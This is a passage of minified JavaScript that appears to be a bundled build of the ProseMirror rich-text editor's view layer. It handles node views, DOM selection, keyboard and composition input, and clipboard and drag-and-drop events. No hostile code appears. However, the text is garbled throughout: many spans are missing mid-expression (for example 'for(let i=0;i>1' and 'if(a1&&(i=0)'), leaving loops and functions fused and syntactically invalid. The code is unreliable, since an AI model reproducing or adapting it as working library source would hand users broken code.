a=this.node.cut(e,n),i=document.createTextNode(a.text);return new Tf(this.parent,a,this.outerDeco,this.innerDeco,i,i,r)}markDirty(e,n){super.markDirty(e,n),this.dom!=this.nodeDOM&&(e==0||n==this.nodeDOM.nodeValue.length)&&(this.dirty=qs)}get domAtom(){return!1}isText(e){return this.node.text==e}}class HS extends Nd{parseRule(){return{ignore:!0}}matchesHack(e){return this.dirty==cs&&this.dom.nodeName==e}get domAtom(){return!0}get ignoreForCoords(){return this.dom.nodeName=="IMG"}}class jD extends gi{constructor(e,n,r,a,i,o,c,u,h,f){super(e,n,r,a,i,o,c,h,f),this.spec=u}update(e,n,r,a){if(this.dirty==qs)return!1;if(this.spec.update&&(this.node.type==e.type||this.spec.multiType)){let i=this.spec.update(e,n,r);return i&&this.updateInner(e,n,r,a),i}else return!this.contentDOM&&!e.isLeaf?!1:super.update(e,n,r,a)}selectNode(){this.spec.selectNode?this.spec.selectNode():super.selectNode()}deselectNode(){this.spec.deselectNode?this.spec.deselectNode():super.deselectNode()}setSelection(e,n,r,a){this.spec.setSelection?this.spec.setSelection(e,n,r.root):super.setSelection(e,n,r,a)}destroy(){this.spec.destroy&&this.spec.destroy(),super.destroy()}stopEvent(e){return this.spec.stopEvent?this.spec.stopEvent(e):!1}ignoreMutation(e){return this.spec.ignoreMutation?this.spec.ignoreMutation(e):super.ignoreMutation(e)}}function WS(t,e,n){let r=t.firstChild,a=!1;for(let i=0;i>1,c=Math.min(o,e.length);for(;i-1)u>this.index&&(this.changed=!0,this.destroyBetween(this.index,u)),this.top=this.top.children[this.index];else{let f=wo.create(this.top,e[o],n,r);this.top.children.splice(this.index,0,f),this.top=f,this.changed=!0}this.index=0,o++}}findNodeMatch(e,n,r,a){let i=-1,o;if(a>=this.preMatch.index&&(o=this.preMatch.matches[a-this.preMatch.index]).parent==this.top&&o.matchesNode(e,n,r))i=this.top.children.indexOf(o,this.index);else for(let c=this.index,u=Math.min(this.top.children.length,c+5);c0;){let c;for(;;)if(r){let h=n.children[r-1];if(h instanceof wo)n=h,r=h.children.length;else{c=h,r--;break}}else{if(n==e)break e;r=n.parent.children.indexOf(n),n=n.parent}let u=c.node;if(u){if(u!=t.child(a-1))break;--a,i.set(c,a),o.push(c)}}return{index:a,matched:i,matches:o.reverse()}}function ED(t,e){return t.type.side-e.type.side}function TD(t,e,n,r){let a=e.locals(t),i=0;if(a.length==0){for(let h=0;hi;)c.push(a[o++]);let N=i+g.nodeSize;if(g.isText){let v=N;o!v.inline):c.slice();r(g,w,e.forChild(i,g),y),i=N}}function MD(t){if(t.nodeName=="UL"||t.nodeName=="OL"){let e=t.style.cssText;t.style.cssText=e+"; list-style: square !important",window.getComputedStyle(t).listStyle,t.style.cssText=e}}function AD(t,e,n,r){for(let a=0,i=0;a=n){if(i>=r&&u.slice(r-e.length-c,r-c)==e)return r-e.length;let h=c=0&&h+e.length+c>=n)return c+h;if(n==r&&u.length>=r+e.length-c&&u.slice(r-c,r-c+e.length)==e)return r}}return-1}function tx(t,e,n,r,a){let i=[];for(let o=0,c=0;o=n||f<=e?i.push(u):(hn&&i.push(u.slice(n-h,u.size,r)))}return i}function g0(t,e=null){let n=t.domSelectionRange(),r=t.state.doc;if(!n.focusNode)return null;let a=t.docView.nearestDesc(n.focusNode),i=a&&a.size==0,o=t.docView.posFromDOM(n.focusNode,n.focusOffset,1);if(o<0)return null;let c=r.resolve(o),u,h;if(Ef(n)){for(u=o;a&&!a.node;)a=a.parent;let m=a.node;if(a&&m.isAtom&&Xe.isSelectable(m)&&a.parent&&!(m.isInline&&rD(n.focusNode,n.focusOffset,a.dom))){let g=a.posBefore;h=new Xe(o==g?c:r.resolve(g))}}else{if(n instanceof t.dom.ownerDocument.defaultView.Selection&&n.rangeCount>1){let m=o,g=o;for(let y=0;y{(n.anchorNode!=r||n.anchorOffset!=a)&&(e.removeEventListener("selectionchange",t.input.hideSelectionGuard),setTimeout(()=>{(!qS(t)||t.state.selection.visible)&&t.dom.classList.remove("ProseMirror-hideselection")},20))})}function RD(t){let e=t.domSelection();if(!e)return;let n=t.cursorWrapper.dom,r=n.nodeName=="IMG";r?e.collapse(n.parentNode,Yn(n)+1):e.collapse(n,0),!r&&!t.state.selection.visible&&Ar&&mi<=11&&(n.disabled=!0,n.disabled=!1)}function GS(t,e){if(e instanceof Xe){let n=t.docView.descAt(e.from);n!=t.lastSelectedViewDesc&&(U1(t),n&&n.selectNode(),t.lastSelectedViewDesc=n)}else U1(t)}function U1(t){t.lastSelectedViewDesc&&(t.lastSelectedViewDesc.parent&&t.lastSelectedViewDesc.deselectNode(),t.lastSelectedViewDesc=void 0)}function x0(t,e,n,r){return t.someProp("createSelectionBetween",a=>a(t,e,n))||Ze.between(e,n,r)}function K1(t){return t.editable&&!t.hasFocus()?!1:JS(t)}function JS(t){let e=t.domSelectionRange();if(!e.anchorNode)return!1;try{return t.dom.contains(e.anchorNode.nodeType==3?e.anchorNode.parentNode:e.anchorNode)&&(t.editable||t.dom.contains(e.focusNode.nodeType==3?e.focusNode.parentNode:e.focusNode))}catch{return!1}}function PD(t){let e=t.docView.domFromPos(t.state.selection.anchor,0),n=t.domSelectionRange();return No(e.node,e.offset,n.anchorNode,n.anchorOffset)}function nx(t,e){let{$anchor:n,$head:r}=t.selection,a=e>0?n.max(r):n.min(r),i=a.parent.inlineContent?a.depth?t.doc.resolve(e>0?a.after():a.before()):null:a;return i&&rt.findFrom(i,e)}function ti(t,e){return t.dispatch(t.state.tr.setSelection(e).scrollIntoView()),!0}function q1(t,e,n){let r=t.state.selection;if(r instanceof Ze)if(n.indexOf("s")>-1){let{$head:a}=r,i=a.textOffset?null:e<0?a.nodeBefore:a.nodeAfter;if(!i||i.isText||!i.isLeaf)return!1;let o=t.state.doc.resolve(a.pos+i.nodeSize*(e<0?-1:1));return ti(t,new Ze(r.$anchor,o))}else if(r.empty){if(t.endOfTextblock(e>0?"forward":"backward")){let a=nx(t.state,e);return a&&a instanceof Xe?ti(t,a):!1}else if(!(ss&&n.indexOf("m")>-1)){let a=r.$head,i=a.textOffset?null:e<0?a.nodeBefore:a.nodeAfter,o;if(!i||i.isText)return!1;let c=e<0?a.pos-i.nodeSize:a.pos;return i.isAtom||(o=t.docView.descAt(c))&&!o.contentDOM?Xe.isSelectable(i)?ti(t,new Xe(e<0?t.state.doc.resolve(a.pos-i.nodeSize):a)):vd?ti(t,new Ze(t.state.doc.resolve(e<0?c:c+i.nodeSize))):!1:!1}}else return!1;else{if(r instanceof Xe&&r.node.isInline)return ti(t,new Ze(e>0?r.$to:r.$from));{let a=nx(t.state,e);return a?ti(t,a):!1}}}function wh(t){return t.nodeType==3?t.nodeValue.length:t.childNodes.length}function Hc(t,e){let n=t.pmViewDesc;return n&&n.size==0&&(e<0||t.nextSibling||t.nodeName!="BR")}function ll(t,e){return e<0?OD(t):DD(t)}function OD(t){let e=t.domSelectionRange(),n=e.focusNode,r=e.focusOffset;if(!n)return;let a,i,o=!1;for(ls&&n.nodeType==1&&r0){if(n.nodeType!=1)break;{let c=n.childNodes[r-1];if(Hc(c,-1))a=n,i=--r;else if(c.nodeType==3)n=c,r=n.nodeValue.length;else break}}else{if(YS(n))break;{let c=n.previousSibling;for(;c&&Hc(c,-1);)a=n.parentNode,i=Yn(c),c=c.previousSibling;if(c)n=c,r=wh(n);else{if(n=n.parentNode,n==t.dom)break;r=0}}}o?rx(t,n,r):a&&rx(t,a,i)}function DD(t){let e=t.domSelectionRange(),n=e.focusNode,r=e.focusOffset;if(!n)return;let a=wh(n),i,o;for(;;)if(r{t.state==a&&ka(t)},50)}function G1(t,e){let n=t.state.doc.resolve(e);if(!(Xn||DS)&&n.parent.inlineContent){let a=t.coordsAtPos(e);if(e>n.start()){let i=t.coordsAtPos(e-1),o=(i.top+i.bottom)/2;if(o>a.top&&o1)return i.lefta.top&&o1)return i.left>a.left?"ltr":"rtl"}}return getComputedStyle(t.dom).direction=="rtl"?"rtl":"ltr"}function J1(t,e,n){let r=t.state.selection;if(r instanceof Ze&&!r.empty||n.indexOf("s")>-1||ss&&n.indexOf("m")>-1)return!1;let{$from:a,$to:i}=r;if(!a.parent.inlineContent||t.endOfTextblock(e<0?"up":"down")){let o=nx(t.state,e);if(o&&o instanceof Xe)return ti(t,o)}if(!a.parent.inlineContent){let o=e<0?a:i,c=r instanceof Vr?rt.near(o,e):rt.findFrom(o,e);return c?ti(t,c):!1}return!1}function Y1(t,e){if(!(t.state.selection instanceof Ze))return!0;let{$head:n,$anchor:r,empty:a}=t.state.selection;if(!n.sameParent(r))return!0;if(!a)return!1;if(t.endOfTextblock(e>0?"forward":"backward"))return!0;let i=!n.textOffset&&(e<0?n.nodeBefore:n.nodeAfter);if(i&&!i.isText){let o=t.state.tr;return e<0?o.delete(n.pos-i.nodeSize,n.pos):o.delete(n.pos,n.pos+i.nodeSize),t.dispatch(o),!0}return!1}function Q1(t,e,n){t.domObserver.stop(),e.contentEditable=n,t.domObserver.start()}function zD(t){if(!ur||t.state.selection.$head.parentOffset>0)return!1;let{focusNode:e,focusOffset:n}=t.domSelectionRange();if(e&&e.nodeType==1&&n==0&&e.firstChild&&e.firstChild.contentEditable=="false"){let r=e.firstChild;Q1(t,r,"true"),setTimeout(()=>Q1(t,r,"false"),20)}return!1}function $D(t){let e="";return t.ctrlKey&&(e+="c"),t.metaKey&&(e+="m"),t.altKey&&(e+="a"),t.shiftKey&&(e+="s"),e}function FD(t,e){let n=e.keyCode,r=$D(e);if(n==8||ss&&n==72&&r=="c")return Y1(t,-1)||ll(t,-1);if(n==46&&!e.shiftKey||ss&&n==68&&r=="c")return Y1(t,1)||ll(t,1);if(n==13||n==27)return!0;if(n==37||ss&&n==66&&r=="c"){let a=n==37?G1(t,t.state.selection.from)=="ltr"?-1:1:-1;return q1(t,a,r)||ll(t,a)}else if(n==39||ss&&n==70&&r=="c"){let a=n==39?G1(t,t.state.selection.from)=="ltr"?1:-1:1;return q1(t,a,r)||ll(t,a)}else{if(n==38||ss&&n==80&&r=="c")return J1(t,-1,r)||ll(t,-1);if(n==40||ss&&n==78&&r=="c")return zD(t)||J1(t,1,r)||ll(t,1);if(r==(ss?"m":"c")&&(n==66||n==73||n==89||n==90))return!0}return!1}function y0(t,e){t.someProp("transformCopied",y=>{e=y(e,t)});let n=[],{content:r,openStart:a,openEnd:i}=e;for(;a>1&&i>1&&r.childCount==1&&r.firstChild.childCount==1;){a--,i--;let y=r.firstChild;n.push(y.type.name,y.attrs!=y.type.defaultAttrs?y.attrs:null),r=y.content}let o=t.someProp("clipboardSerializer")||Mo.fromSchema(t.state.schema),c=n2(),u=c.createElement("div");u.appendChild(o.serializeFragment(r,{document:c}));let h=u.firstChild,f,m=0;for(;h&&h.nodeType==1&&(f=t2[h.nodeName.toLowerCase()]);){for(let y=f.length-1;y>=0;y--){let N=c.createElement(f[y]);for(;u.firstChild;)N.appendChild(u.firstChild);u.appendChild(N),m++}h=u.firstChild}h&&h.nodeType==1&&h.setAttribute("data-pm-slice",`${a} ${i}${m?` -${m}`:""} ${JSON.stringify(n)}`);let g=t.someProp("clipboardTextSerializer",y=>y(e,t))||e.content.textBetween(0,e.content.size,` `);return{dom:u,text:g,slice:e}}function QS(t,e,n,r,a){let i=a.parent.type.spec.code,o,c;if(!n&&!e)return null;let u=!!e&&(r||i||!n);if(u){if(t.someProp("transformPastedText",g=>{e=g(e,i||r,t)}),i)return c=new Ie(be.from(t.state.schema.text(e.replace(/\r\n?/g,` -`))),0,0),t.someProp("transformPasted",g=>{c=g(c,t,!0)}),c;let m=t.someProp("clipboardTextParser",g=>g(e,a,r,t));if(m)c=m;else{let g=a.marks(),{schema:y}=t.state,N=Mo.fromSchema(y);o=document.createElement("div"),e.split(/(?:\r\n?|\n)+/).forEach(w=>{let v=o.appendChild(document.createElement("p"));w&&v.appendChild(N.serializeNode(y.text(w,g)))})}}else t.someProp("transformPastedHTML",m=>{n=m(n,t)}),o=WD(n),vd&&UD(o);let h=o&&o.querySelector("[data-pm-slice]"),f=h&&/^(\d+) (\d+)(?: -(\d+))? (.*)/.exec(h.getAttribute("data-pm-slice")||"");if(f&&f[3])for(let m=+f[3];m>0;m--){let g=o.firstChild;for(;g&&g.nodeType!=1;)g=g.nextSibling;if(!g)break;o=g}if(c||(c=(t.someProp("clipboardParser")||t.someProp("domParser")||pi.fromSchema(t.state.schema)).parseSlice(o,{preserveWhitespace:!!(u||f),context:a,ruleFromNode(g){return g.nodeName=="BR"&&!g.nextSibling&&g.parentNode&&!BD.test(g.parentNode.nodeName)?{ignore:!0}:null}})),f)c=KD(X1(c,+f[1],+f[2]),f[4]);else if(c=Ie.maxOpen(VD(c.content,a),!0),c.openStart||c.openEnd){let m=0,g=0;for(let y=c.content.firstChild;m{c=m(c,t,u)}),c}const BD=/^(a|abbr|acronym|b|cite|code|del|em|i|ins|kbd|label|output|q|ruby|s|samp|span|strong|sub|sup|time|u|tt|var)$/i;function VD(t,e){if(t.childCount<2)return t;for(let n=e.depth;n>=0;n--){let a=e.node(n).contentMatchAt(e.index(n)),i,o=[];if(t.forEach(c=>{if(!o)return;let u=a.findWrapping(c.type),h;if(!u)return o=null;if(h=o.length&&i.length&&ZS(u,i,c,o[o.length-1],0))o[o.length-1]=h;else{o.length&&(o[o.length-1]=e2(o[o.length-1],i.length));let f=XS(c,u);o.push(f),a=a.matchType(f.type),i=u}}),o)return be.from(o)}return t}function XS(t,e,n=0){for(let r=e.length-1;r>=n;r--)t=e[r].create(null,be.from(t));return t}function ZS(t,e,n,r,a){if(a1&&(i=0),a=n&&(c=e<0?o.contentMatchAt(0).fillBefore(c,i<=a).append(c):c.append(o.contentMatchAt(o.childCount).fillBefore(be.empty,!0))),t.replaceChild(e<0?0:t.childCount-1,o.copy(c))}function X1(t,e,n){return en})),Zm.createHTML(t)):t}function WD(t){let e=/^(\s*]*>)*/.exec(t);e&&(t=t.slice(e[0].length));let n=n2().createElement("div"),r=/<([a-z][^>\s]+)/i.exec(t),a;if((a=r&&t2[r[1].toLowerCase()])&&(t=a.map(i=>"<"+i+">").join("")+t+a.map(i=>"").reverse().join("")),n.innerHTML=HD(t),a)for(let i=0;i=0;c-=2){let u=n.nodes[r[c]];if(!u||u.hasRequiredAttrs())break;a=be.from(u.create(r[c+1],a)),i++,o++}return new Ie(a,i,o)}const vr={},Nr={},qD={touchstart:!0,touchmove:!0};class GD{constructor(){this.shiftKey=!1,this.mouseDown=null,this.lastKeyCode=null,this.lastKeyCodeTime=0,this.lastClick={time:0,x:0,y:0,type:"",button:0},this.lastSelectionOrigin=null,this.lastSelectionTime=0,this.lastIOSEnter=0,this.lastIOSEnterFallbackTimeout=-1,this.lastFocus=0,this.lastTouch=0,this.lastChromeDelete=0,this.composing=!1,this.compositionNode=null,this.composingTimeout=-1,this.compositionNodes=[],this.compositionEndedAt=-2e8,this.compositionID=1,this.badSafariComposition=!1,this.compositionPendingChanges=0,this.domChangeCount=0,this.eventHandlers=Object.create(null),this.hideSelectionGuard=null}}function JD(t){for(let e in vr){let n=vr[e];t.dom.addEventListener(e,t.input.eventHandlers[e]=r=>{QD(t,r)&&!b0(t,r)&&(t.editable||!(r.type in Nr))&&n(t,r)},qD[e]?{passive:!0}:void 0)}ur&&t.dom.addEventListener("input",()=>null),ax(t)}function ui(t,e){t.input.lastSelectionOrigin=e,t.input.lastSelectionTime=Date.now()}function YD(t){t.domObserver.stop();for(let e in t.input.eventHandlers)t.dom.removeEventListener(e,t.input.eventHandlers[e]);clearTimeout(t.input.composingTimeout),clearTimeout(t.input.lastIOSEnterFallbackTimeout)}function ax(t){t.someProp("handleDOMEvents",e=>{for(let n in e)t.input.eventHandlers[n]||t.dom.addEventListener(n,t.input.eventHandlers[n]=r=>b0(t,r))})}function b0(t,e){return t.someProp("handleDOMEvents",n=>{let r=n[e.type];return r?r(t,e)||e.defaultPrevented:!1})}function QD(t,e){if(!e.bubbles)return!0;if(e.defaultPrevented)return!1;for(let n=e.target;n!=t.dom;n=n.parentNode)if(!n||n.nodeType==11||n.pmViewDesc&&n.pmViewDesc.stopEvent(e))return!1;return!0}function XD(t,e){!b0(t,e)&&vr[e.type]&&(t.editable||!(e.type in Nr))&&vr[e.type](t,e)}Nr.keydown=(t,e)=>{let n=e;if(t.input.shiftKey=n.keyCode==16||n.shiftKey,!s2(t,n)&&(t.input.lastKeyCode=n.keyCode,t.input.lastKeyCodeTime=Date.now(),!(va&&Xn&&n.keyCode==13)))if(n.keyCode!=229&&t.domObserver.forceFlush(),El&&n.keyCode==13&&!n.ctrlKey&&!n.altKey&&!n.metaKey){let r=Date.now();t.input.lastIOSEnter=r,t.input.lastIOSEnterFallbackTimeout=setTimeout(()=>{t.input.lastIOSEnter==r&&(t.someProp("handleKeyDown",a=>a(t,to(13,"Enter"))),t.input.lastIOSEnter=0)},200)}else t.someProp("handleKeyDown",r=>r(t,n))||FD(t,n)?n.preventDefault():ui(t,"key")};Nr.keyup=(t,e)=>{e.keyCode==16&&(t.input.shiftKey=!1)};Nr.keypress=(t,e)=>{let n=e;if(s2(t,n)||!n.charCode||n.ctrlKey&&!n.altKey||ss&&n.metaKey)return;if(t.someProp("handleKeyPress",a=>a(t,n))){n.preventDefault();return}let r=t.state.selection;if(!(r instanceof Ze)||!r.$from.sameParent(r.$to)){let a=String.fromCharCode(n.charCode),i=()=>t.state.tr.insertText(a).scrollIntoView();!/[\r\n]/.test(a)&&!t.someProp("handleTextInput",o=>o(t,r.$from.pos,r.$to.pos,a,i))&&t.dispatch(i()),n.preventDefault()}};function Mf(t){return{left:t.clientX,top:t.clientY}}function ZD(t,e){let n=e.x-t.clientX,r=e.y-t.clientY;return n*n+r*r<100}function v0(t,e,n,r,a){if(r==-1)return!1;let i=t.state.doc.resolve(r);for(let o=i.depth+1;o>0;o--)if(t.someProp(e,c=>o>i.depth?c(t,n,i.nodeAfter,i.before(o),a,!0):c(t,n,i.node(o),i.before(o),a,!1)))return!0;return!1}function Nl(t,e,n){if(t.focused||t.focus(),t.state.selection.eq(e))return;let r=t.state.tr.setSelection(e);r.setMeta("pointer",!0),t.dispatch(r)}function eL(t,e){if(e==-1)return!1;let n=t.state.doc.resolve(e),r=n.nodeAfter;return r&&r.isAtom&&Xe.isSelectable(r)?(Nl(t,new Xe(n)),!0):!1}function tL(t,e){if(e==-1)return!1;let n=t.state.selection,r,a;n instanceof Xe&&(r=n.node);let i=t.state.doc.resolve(e);for(let o=i.depth+1;o>0;o--){let c=o>i.depth?i.nodeAfter:i.node(o);if(Xe.isSelectable(c)){r&&n.$from.depth>0&&o>=n.$from.depth&&i.before(n.$from.depth+1)==n.$from.pos?a=i.before(n.$from.depth):a=i.before(o);break}}return a!=null?(Nl(t,Xe.create(t.state.doc,a)),!0):!1}function nL(t,e,n,r,a){return v0(t,"handleClickOn",e,n,r)||t.someProp("handleClick",i=>i(t,e,r))||(a?tL(t,n):eL(t,n))}function rL(t,e,n,r){return v0(t,"handleDoubleClickOn",e,n,r)||t.someProp("handleDoubleClick",a=>a(t,e,r))}function sL(t,e,n,r){return v0(t,"handleTripleClickOn",e,n,r)||t.someProp("handleTripleClick",a=>a(t,e,r))||aL(t,n,r)}function aL(t,e,n){if(n.button!=0)return!1;let r=t.state.doc;if(e==-1)return r.inlineContent?(Nl(t,Ze.create(r,0,r.content.size)),!0):!1;let a=r.resolve(e);for(let i=a.depth+1;i>0;i--){let o=i>a.depth?a.nodeAfter:a.node(i),c=a.before(i);if(o.inlineContent)Nl(t,Ze.create(r,c+1,c+1+o.content.size));else if(Xe.isSelectable(o))Nl(t,Xe.create(r,c));else continue;return!0}}function N0(t){return jh(t)}const r2=ss?"metaKey":"ctrlKey";vr.mousedown=(t,e)=>{let n=e;t.input.shiftKey=n.shiftKey;let r=N0(t),a=Date.now(),i="singleClick";a-t.input.lastClick.time<500&&ZD(n,t.input.lastClick)&&!n[r2]&&t.input.lastClick.button==n.button&&(t.input.lastClick.type=="singleClick"?i="doubleClick":t.input.lastClick.type=="doubleClick"&&(i="tripleClick")),t.input.lastClick={time:a,x:n.clientX,y:n.clientY,type:i,button:n.button};let o=t.posAtCoords(Mf(n));o&&(i=="singleClick"?(t.input.mouseDown&&t.input.mouseDown.done(),t.input.mouseDown=new iL(t,o,n,!!r)):(i=="doubleClick"?rL:sL)(t,o.pos,o.inside,n)?n.preventDefault():ui(t,"pointer"))};class iL{constructor(e,n,r,a){this.view=e,this.pos=n,this.event=r,this.flushed=a,this.delayedSelectionSync=!1,this.mightDrag=null,this.startDoc=e.state.doc,this.selectNode=!!r[r2],this.allowDefault=r.shiftKey;let i,o;if(n.inside>-1)i=e.state.doc.nodeAt(n.inside),o=n.inside;else{let f=e.state.doc.resolve(n.pos);i=f.parent,o=f.depth?f.before():0}const c=a?null:r.target,u=c?e.docView.nearestDesc(c,!0):null;this.target=u&&u.nodeDOM.nodeType==1?u.nodeDOM:null;let{selection:h}=e.state;(r.button==0&&i.type.spec.draggable&&i.type.spec.selectable!==!1||h instanceof Xe&&h.from<=o&&h.to>o)&&(this.mightDrag={node:i,pos:o,addAttr:!!(this.target&&!this.target.draggable),setUneditable:!!(this.target&&ls&&!this.target.hasAttribute("contentEditable"))}),this.target&&this.mightDrag&&(this.mightDrag.addAttr||this.mightDrag.setUneditable)&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&(this.target.draggable=!0),this.mightDrag.setUneditable&&setTimeout(()=>{this.view.input.mouseDown==this&&this.target.setAttribute("contentEditable","false")},20),this.view.domObserver.start()),e.root.addEventListener("mouseup",this.up=this.up.bind(this)),e.root.addEventListener("mousemove",this.move=this.move.bind(this)),ui(e,"pointer")}done(){this.view.root.removeEventListener("mouseup",this.up),this.view.root.removeEventListener("mousemove",this.move),this.mightDrag&&this.target&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&this.target.removeAttribute("draggable"),this.mightDrag.setUneditable&&this.target.removeAttribute("contentEditable"),this.view.domObserver.start()),this.delayedSelectionSync&&setTimeout(()=>ka(this.view)),this.view.input.mouseDown=null}up(e){if(this.done(),!this.view.dom.contains(e.target))return;let n=this.pos;this.view.state.doc!=this.startDoc&&(n=this.view.posAtCoords(Mf(e))),this.updateAllowDefault(e),this.allowDefault||!n?ui(this.view,"pointer"):nL(this.view,n.pos,n.inside,e,this.selectNode)?e.preventDefault():e.button==0&&(this.flushed||ur&&this.mightDrag&&!this.mightDrag.node.isAtom||Xn&&!this.view.state.selection.visible&&Math.min(Math.abs(n.pos-this.view.state.selection.from),Math.abs(n.pos-this.view.state.selection.to))<=2)?(Nl(this.view,rt.near(this.view.state.doc.resolve(n.pos))),e.preventDefault()):ui(this.view,"pointer")}move(e){this.updateAllowDefault(e),ui(this.view,"pointer"),e.buttons==0&&this.done()}updateAllowDefault(e){!this.allowDefault&&(Math.abs(this.event.x-e.clientX)>4||Math.abs(this.event.y-e.clientY)>4)&&(this.allowDefault=!0)}}vr.touchstart=t=>{t.input.lastTouch=Date.now(),N0(t),ui(t,"pointer")};vr.touchmove=t=>{t.input.lastTouch=Date.now(),ui(t,"pointer")};vr.contextmenu=t=>N0(t);function s2(t,e){return t.composing?!0:ur&&Math.abs(e.timeStamp-t.input.compositionEndedAt)<500?(t.input.compositionEndedAt=-2e8,!0):!1}const oL=va?5e3:-1;Nr.compositionstart=Nr.compositionupdate=t=>{if(!t.composing){t.domObserver.flush();let{state:e}=t,n=e.selection.$to;if(e.selection instanceof Ze&&(e.storedMarks||!n.textOffset&&n.parentOffset&&n.nodeBefore.marks.some(r=>r.type.spec.inclusive===!1)||Xn&&DS&&lL(t)))t.markCursor=t.state.storedMarks||n.marks(),jh(t,!0),t.markCursor=null;else if(jh(t,!e.selection.empty),ls&&e.selection.empty&&n.parentOffset&&!n.textOffset&&n.nodeBefore.marks.length){let r=t.domSelectionRange();for(let a=r.focusNode,i=r.focusOffset;a&&a.nodeType==1&&i!=0;){let o=i<0?a.lastChild:a.childNodes[i-1];if(!o)break;if(o.nodeType==3){let c=t.domSelection();c&&c.collapse(o,o.nodeValue.length);break}else a=o,i=-1}}t.input.composing=!0}a2(t,oL)};function lL(t){let{focusNode:e,focusOffset:n}=t.domSelectionRange();if(!e||e.nodeType!=1||n>=e.childNodes.length)return!1;let r=e.childNodes[n];return r.nodeType==1&&r.contentEditable=="false"}Nr.compositionend=(t,e)=>{t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=e.timeStamp,t.input.compositionPendingChanges=t.domObserver.pendingRecords().length?t.input.compositionID:0,t.input.compositionNode=null,t.input.badSafariComposition?t.domObserver.forceFlush():t.input.compositionPendingChanges&&Promise.resolve().then(()=>t.domObserver.flush()),t.input.compositionID++,a2(t,20))};function a2(t,e){clearTimeout(t.input.composingTimeout),e>-1&&(t.input.composingTimeout=setTimeout(()=>jh(t),e))}function i2(t){for(t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=dL());t.input.compositionNodes.length>0;)t.input.compositionNodes.pop().markParentsDirty()}function cL(t){let e=t.domSelectionRange();if(!e.focusNode)return null;let n=tD(e.focusNode,e.focusOffset),r=nD(e.focusNode,e.focusOffset);if(n&&r&&n!=r){let a=r.pmViewDesc,i=t.domObserver.lastChangedTextNode;if(n==i||r==i)return i;if(!a||!a.isText(r.nodeValue))return r;if(t.input.compositionNode==r){let o=n.pmViewDesc;if(!(!o||!o.isText(n.nodeValue)))return r}}return n||r}function dL(){let t=document.createEvent("Event");return t.initEvent("event",!0,!0),t.timeStamp}function jh(t,e=!1){if(!(va&&t.domObserver.flushingSoon>=0)){if(t.domObserver.forceFlush(),i2(t),e||t.docView&&t.docView.dirty){let n=g0(t),r=t.state.selection;return n&&!n.eq(r)?t.dispatch(t.state.tr.setSelection(n)):(t.markCursor||e)&&!r.$from.node(r.$from.sharedDepth(r.to)).inlineContent?t.dispatch(t.state.tr.deleteSelection()):t.updateState(t.state),!0}return!1}}function uL(t,e){if(!t.dom.parentNode)return;let n=t.dom.parentNode.appendChild(document.createElement("div"));n.appendChild(e),n.style.cssText="position: fixed; left: -10000px; top: 10px";let r=getSelection(),a=document.createRange();a.selectNodeContents(e),t.dom.blur(),r.removeAllRanges(),r.addRange(a),setTimeout(()=>{n.parentNode&&n.parentNode.removeChild(n),t.focus()},50)}const ad=Ar&&mi<15||El&&iD<604;vr.copy=Nr.cut=(t,e)=>{let n=e,r=t.state.selection,a=n.type=="cut";if(r.empty)return;let i=ad?null:n.clipboardData,o=r.content(),{dom:c,text:u}=y0(t,o);i?(n.preventDefault(),i.clearData(),i.setData("text/html",c.innerHTML),i.setData("text/plain",u)):uL(t,c),a&&t.dispatch(t.state.tr.deleteSelection().scrollIntoView().setMeta("uiEvent","cut"))};function hL(t){return t.openStart==0&&t.openEnd==0&&t.content.childCount==1?t.content.firstChild:null}function fL(t,e){if(!t.dom.parentNode)return;let n=t.input.shiftKey||t.state.selection.$from.parent.type.spec.code,r=t.dom.parentNode.appendChild(document.createElement(n?"textarea":"div"));n||(r.contentEditable="true"),r.style.cssText="position: fixed; left: -10000px; top: 10px",r.focus();let a=t.input.shiftKey&&t.input.lastKeyCode!=45;setTimeout(()=>{t.focus(),r.parentNode&&r.parentNode.removeChild(r),n?id(t,r.value,null,a,e):id(t,r.textContent,r.innerHTML,a,e)},50)}function id(t,e,n,r,a){let i=QS(t,e,n,r,t.state.selection.$from);if(t.someProp("handlePaste",u=>u(t,a,i||Ie.empty)))return!0;if(!i)return!1;let o=hL(i),c=o?t.state.tr.replaceSelectionWith(o,r):t.state.tr.replaceSelection(i);return t.dispatch(c.scrollIntoView().setMeta("paste",!0).setMeta("uiEvent","paste")),!0}function o2(t){let e=t.getData("text/plain")||t.getData("Text");if(e)return e;let n=t.getData("text/uri-list");return n?n.replace(/\r?\n/g," "):""}Nr.paste=(t,e)=>{let n=e;if(t.composing&&!va)return;let r=ad?null:n.clipboardData,a=t.input.shiftKey&&t.input.lastKeyCode!=45;r&&id(t,o2(r),r.getData("text/html"),a,n)?n.preventDefault():fL(t,n)};class l2{constructor(e,n,r){this.slice=e,this.move=n,this.node=r}}const pL=ss?"altKey":"ctrlKey";function c2(t,e){let n=t.someProp("dragCopies",r=>!r(e));return n??!e[pL]}vr.dragstart=(t,e)=>{let n=e,r=t.input.mouseDown;if(r&&r.done(),!n.dataTransfer)return;let a=t.state.selection,i=a.empty?null:t.posAtCoords(Mf(n)),o;if(!(i&&i.pos>=a.from&&i.pos<=(a instanceof Xe?a.to-1:a.to))){if(r&&r.mightDrag)o=Xe.create(t.state.doc,r.mightDrag.pos);else if(n.target&&n.target.nodeType==1){let m=t.docView.nearestDesc(n.target,!0);m&&m.node.type.spec.draggable&&m!=t.docView&&(o=Xe.create(t.state.doc,m.posBefore))}}let c=(o||t.state.selection).content(),{dom:u,text:h,slice:f}=y0(t,c);(!n.dataTransfer.files.length||!Xn||OS>120)&&n.dataTransfer.clearData(),n.dataTransfer.setData(ad?"Text":"text/html",u.innerHTML),n.dataTransfer.effectAllowed="copyMove",ad||n.dataTransfer.setData("text/plain",h),t.dragging=new l2(f,c2(t,n),o)};vr.dragend=t=>{let e=t.dragging;window.setTimeout(()=>{t.dragging==e&&(t.dragging=null)},50)};Nr.dragover=Nr.dragenter=(t,e)=>e.preventDefault();Nr.drop=(t,e)=>{try{mL(t,e,t.dragging)}finally{t.dragging=null}};function mL(t,e,n){if(!e.dataTransfer)return;let r=t.posAtCoords(Mf(e));if(!r)return;let a=t.state.doc.resolve(r.pos),i=n&&n.slice;i?t.someProp("transformPasted",y=>{i=y(i,t,!1)}):i=QS(t,o2(e.dataTransfer),ad?null:e.dataTransfer.getData("text/html"),!1,a);let 